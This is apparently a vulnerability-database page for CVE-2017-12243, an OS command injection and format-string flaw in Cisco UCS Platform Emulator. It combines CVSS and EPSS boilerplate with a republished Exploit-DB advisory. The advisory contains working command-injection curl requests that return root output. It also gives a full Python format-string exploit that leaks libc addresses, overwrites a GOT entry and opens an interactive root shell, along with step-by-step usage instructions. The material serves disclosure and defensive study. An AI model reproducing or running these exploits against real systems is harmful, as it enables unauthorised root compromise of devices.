Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-78 |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
nvd@nist.gov |
| V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 44052
Publication date : 2017-10-31 23h00 +00:00
Author : SecuriTeam
EDB Verified : No
## Vulnerabilities Summary
The following advisory describes two remote code execution vulnerabilities found in Cisco UCS Platform Emulator version 3.1(2ePE1).
Cisco UCS Platform Emulator is the Cisco UCS Manager application bundled into a virtual machine (VM). The VM includes software that emulates hardware communications for the Cisco Unified Computing System (Cisco UCS) hardware that is configured and managed by Cisco UCS Manager. For example, you can use Cisco UCS Platform Emulator to create and test a supported Cisco UCS configuration, or to duplicate an existing Cisco UCS environment for troubleshooting or development purposes.
The vulnerabilities found in Cisco UCS Platform Emulator are:
Unauthenticated remote code execution
Authenticated remote code execution
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
## Vendor response
The vendor has released patches to address this vulnerability and issue the following CVE:
CVE-2017-12243
Vulnerabilities details
Unauthenticated remote code execution
User controlled input is not sufficiently sanitized when passed to IP/settings/ping function. An unauthenticated attacker can inject commands via PING_NUM and PING_IP_ADDR parameters. Those commands will run as root on the remote machine.
## Proof of Concept
```
curl "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
curl -k "https://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1"
curl -k "https://IP/settings/ping?ping_num=1%3buname+-a%3b#&ping_ip_addr=127.0.0.1"
```
By sending one of the above requests the Cisco UCS will response with:
```
/sample output/
================
demo@kali:~/poc$ curl -k "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
Linux ucspe 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux
demo@kali:~/poc$ curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1"
uid=0(root) gid=0(root) groups=0(root)
```
Authenticated remote code execution
Cisco UCS Platform Emulator is vulnerable to format string vulnerability that leads to remote code execution.
Cisco UCS Platform Emulator runs an SSH server by default, and users who log-in via ssh runs the following command:
```
show sel %x
```
Get the following response:
```
"Error: Invalid rack server value: ...somedigits.."
```
By execute the ssh “show sel %x” command we overwriting got entry for _ZN7clidcos15CommandEmulator16cli_param_filterEPKc function from libsamvsh.so with libc system.
## Proof of Concept
In order to exploit the vulnerability, please follow the following instructions:
Install ucspe on vm (setup all 3 network cards) with the following user and password:
Default ucspe user : ucspe
Default ucspe pass : ucspe
Run the ucspe and write down the ip address of the ucspe (visible in console “Connected to IP: ….”)
In this Proof of Concept we will use IP – 192.168.1.43
Open up two terminals on some other machine (kali for example).
On the first terminal:
Create poc directory, put poc4_ucspe_3.1.2e.py in the poc directory. change current directory to poc
Create fifo1:
```
mkfifo fifo1
```
Create output directory:”
```
mkdir output
```
Run ssh with stdin redirected from fifo1 and stdout redirected to output/log file:
```
tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log
# use default credentials ucspe/ucspe
```
# use default credentials ucspe/ucspe
On the second terminal (terminal2):
Change current directory to poc
Run the poc4_ucspe_3.1.2e.py
The output should be:
TERMINAL1
```
demo@kali:~/poc$ mkfifo fifo1
demo@kali:~/poc$ mkdir output
demo@kali:~/poc$ tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log
Pseudo-terminal will not be allocated because stdin is not a terminal.
The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established.
RSA key fingerprint is SHA256:qEdgqNFyfqA2BU1+cH9rmYrsIOiQr/NlCpgAyzrX70Y.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.43' (RSA) to the list of known hosts.
uucspe@192.168.1.43's password:
TERM environment variable not set.
```
TERMINAL2
```
demo@kali:~/poc$ python poc4_ucspe_3.1.2e.py
Going through some menus please wait a moment..
You should now see on the other terminal message simmilar to "Error: Already in local-mgmt shell.."
[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so
-> 0x6b9f64
[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt
-> 0x6d7a70
[.] Dumping snprintf address from libc
-> 0x7791210
[.] Calculating libc system address
-> libc base addr = 0x7746000
-> system addr = 0x7780f60
[.] Sending payload..
show sel %62c%28$nAAA
show sel %237c%28$nAA
show sel %86c%28$nAAA
show sel %229c%28$nAA
Sleep for fork adjustment..
Ok please type your commands (type exit for exit)
> id
['uid=0(root) gid=0(root) groups=0(root)']
>
```
poc4_ucspe_3.1.2e.py
```
import struct
import time
import binascii
def generate_payload(addr):
basepayload = "show sel AAAAAAAAAAAA"
aa = (addr >> 24 & 0xff)
bb = (addr >> 16 & 0xff)
cc = (addr >> 8 & 0xff)
dd = (addr >> 0 & 0xff)
if aa<34:
aa_c_payload = aa + 222
else:
aa_c_payload = aa - 34
if bb<34:
bb_c_payload = bb + 222
else:
bb_c_payload = bb - 34
if cc<34:
cc_c_payload = cc + 222
else:
cc_c_payload = cc - 34
if dd<34:
dd_c_payload = dd + 222
else:
dd_c_payload = dd - 34
aa_payload = "%" + str(aa_c_payload) + "c%28$n"
bb_payload = "%" + str(bb_c_payload) + "c%28$n"
cc_payload = "%" + str(cc_c_payload) + "c%28$n"
dd_payload = "%" + str(dd_c_payload) + "c%28$n"
aap = basepayload[:9] + aa_payload + basepayload[len(aa_payload)+9:]
bbp = basepayload[:9] + bb_payload + basepayload[len(bb_payload)+9:]
ccp = basepayload[:9] + cc_payload + basepayload[len(cc_payload)+9:]
ddp = basepayload[:9] + dd_payload + basepayload[len(dd_payload)+9:]
return [aap,bbp,ccp,ddp]
def clearlog():
fo = open("output/log","w")
fo.truncate()
fo.close()
def readlog():
logread = [line.strip('\n\0x00') for line in open('output/log')]
return logread
def sendcommand(cmd):
f=open("fifo1", "a+")
f.write(cmd+"\n")
f.close()
def dump(adr, frmt='p'):
clearlog()
leak_part = "show sel %28${}".format(frmt)
raw_addr = struct.pack("I", adr)
if "\x20" in raw_addr:
print "space!"
out = leak_part + "AAAAAAA"+raw_addr
sendcommand(out)
time.sleep(2)
e = readlog()[0]
outbin = e.split("AAAAAAA")[0].split(": ")[2]
clearlog()
return outbin+"\x00"
def starting_point():
clearlog()
out = "show sel %147$x"
sendcommand(out)
time.sleep(2)
e = readlog()[0]
outbin = e.split("AAAAAAA")[0].split(":")[2]
clearlog()
return outbin
clidcos_step = 0x1DB0C
libc_emulator_snprintf = 0x0004b210
libc_emulator_system = 0x0003af60
print "Going through some menus please wait a moment.."
sendcommand("c")
time.sleep(1)
sendcommand("show version")
time.sleep(1)
sendcommand("connect local-mgmt")
time.sleep(1)
sendcommand("connect local-mgmt")
time.sleep(1)
sendcommand("show version")
time.sleep(5)
clearlog()
print "You should now see on the other terminal message simmilar to \"Error: Already in local-mgmt shell..\" "
print "[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so"
off3 = int(starting_point(),16)
print " -> " + hex(off3)
print "[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt"
clidcosGOTPLT = off3+clidcos_step
print " -> " + hex(clidcosGOTPLT)
print "[.] Dumping snprintf address from libc"
libc_printf = dump(clidcosGOTPLT+8,'s')[:4]
libc_tmp1_hex = binascii.hexlify(libc_printf[::-1])
libc_snprintf_addr = int(libc_tmp1_hex, 16)
print " -> " + hex(libc_snprintf_addr)
print "[.] Calculating libc system address"
libc_base_addr = libc_snprintf_addr - libc_emulator_snprintf
print " -> libc base addr = " + hex(libc_base_addr)
libc_system_addr = libc_base_addr + libc_emulator_system
print " -> system addr = " + hex(libc_system_addr)
print "\n[.] Sending payload.."
sendcommand(generate_payload(libc_system_addr)[3] + struct.pack("I", clidcosGOTPLT))
print generate_payload(libc_system_addr)[3]
sendcommand("show version")
time.sleep(1)
sendcommand(generate_payload(libc_system_addr)[2] + struct.pack("I", clidcosGOTPLT+1))
print generate_payload(libc_system_addr)[2]
sendcommand("show version")
time.sleep(1)
sendcommand(generate_payload(libc_system_addr)[1] + struct.pack("I", clidcosGOTPLT+2))
print generate_payload(libc_system_addr)[1]
sendcommand("show version")
time.sleep(1)
sendcommand(generate_payload(libc_system_addr)[0] + struct.pack("I", clidcosGOTPLT+3))
print generate_payload(libc_system_addr)[0]
sendcommand("show version")
time.sleep(1)
print "Sleep for fork adjustment.."
time.sleep(5)
sendcommand("ssh /bin/bash")
print "Ok please type your commands (type exit for exit)"
time.sleep(2)
while True:
n = raw_input("> ")
if 'exit' in n:
break
clearlog()
sendcommand(n)
time.sleep(2)
print readlog()
```
Products Mentioned
Configuraton 0
Cisco>>Unified_computing_system_manager_firmware >> Version -
Cisco>>Unified_computing_system_manager >> Version -
Configuraton 0
Cisco>>Firepower_9300_security_appliance_firmware >> Version -
Cisco>>Firepower_9300_security_appliance >> Version -
Configuraton 0
Cisco>>Firepower_4100_next-generation_firewall_firmware >> Version -
- Cisco>>Firepower_4100_next-generation_firewall_firmware >> Version - (Open CPE detail)
Cisco>>Firepower_4110_next-generation_firewall >> Version -
Cisco>>Firepower_4120_next-generation_firewall >> Version -
Cisco>>Firepower_4140_next-generation_firewall >> Version -
Cisco>>Firepower_4150_next-generation_firewall >> Version -
References
